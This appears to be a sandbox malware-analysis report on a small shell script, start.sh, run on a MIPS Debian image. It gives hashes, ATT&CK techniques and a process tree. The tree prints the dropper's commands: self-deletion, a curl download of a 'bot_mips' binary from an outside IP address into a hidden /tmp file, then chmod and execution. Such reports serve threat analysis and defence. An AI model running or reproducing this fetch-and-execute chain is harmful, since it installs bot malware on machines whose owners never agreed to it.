2d26b804e3c1f12adc4cde17b83fffde4a2e0cfbbeeab23e39d0362a406ad1f8

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01/06/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
start.sh
Size 2KB
Sample260601-phf55adv7l
SHA256 2d26b804e3c1f12adc4cde17b83fffde4a2e0cfbbeeab23e39d0362a406ad1f8
MD5 71b0a5d9e7a7888b610fb148465017a2
SHA1 31ad8eb3652e64a04ef293bf9c0272f695c8ff5b
SHA512 84f827f9c32652326df8461820a8c63531202ee326052247a68399cd344bb66c0667499962bdf468f9e008dacc8f45432c5d89d9d4dbf070c8e9ee81e391a8a7
TLSH
T19251DE436891AAB371AA807CFF965089568A45230466BC10FD4E7E207F3822DF4F4F1E
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
741	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.sys_cache_1780310218	742	start.sh

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
726	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.sys_cache_1780310218	curl

/tmp/start.sh
/tmp/start.sh
1⤵
- Executes dropped EXE
PID:715
- /bin/rm
  rm -f /tmp/start.sh
  2⤵
  PID:716
- /bin/uname
  uname -m
  2⤵
  PID:718
- /bin/date
  date "+%s"
  2⤵
  PID:721
- /usr/bin/curl
  curl -fsSL http://80.94.92.170:80/bot_mips -o ./.sys_cache_1780310218
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod +x ./.sys_cache_1780310218
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/.sys_cache_1780310218
  ./.sys_cache_1780310218
  2⤵
  PID:742

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.sys_cache_1780310218

Path /tmp/.sys_cache_1780310218
Size 110KB
SHA256 46fc3e400cca882f63316e18bfeb2a6dd3acd9f76f47721f4362b914a3a6744b
MD5 83627b6e3df5244e8fc1eb5c4aee47de
SHA1 683d5c8d1cba492f4af7120f35fe5bcf5e9b8057
SHA512 630ee4999e585552c5a7c708314cef53d7147160402831023f3c2bf3845d09e3f671a542c1d4fdd5e6098cf8468c24da0b2b56a48e2cbdaa470533dd1eb41a79
SSDEEP 3072:uxdtYi1sfTyZDtcVt7GmhYR2oTN32E9e0SeJTQ5PkcPaG:uh0iqVoNRJh3eUTE8yr
TLSH
T180B3126BAD443FBBE3E65632D4CDDF46928018C6131A5918E56CEC5E0739023FAB711B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download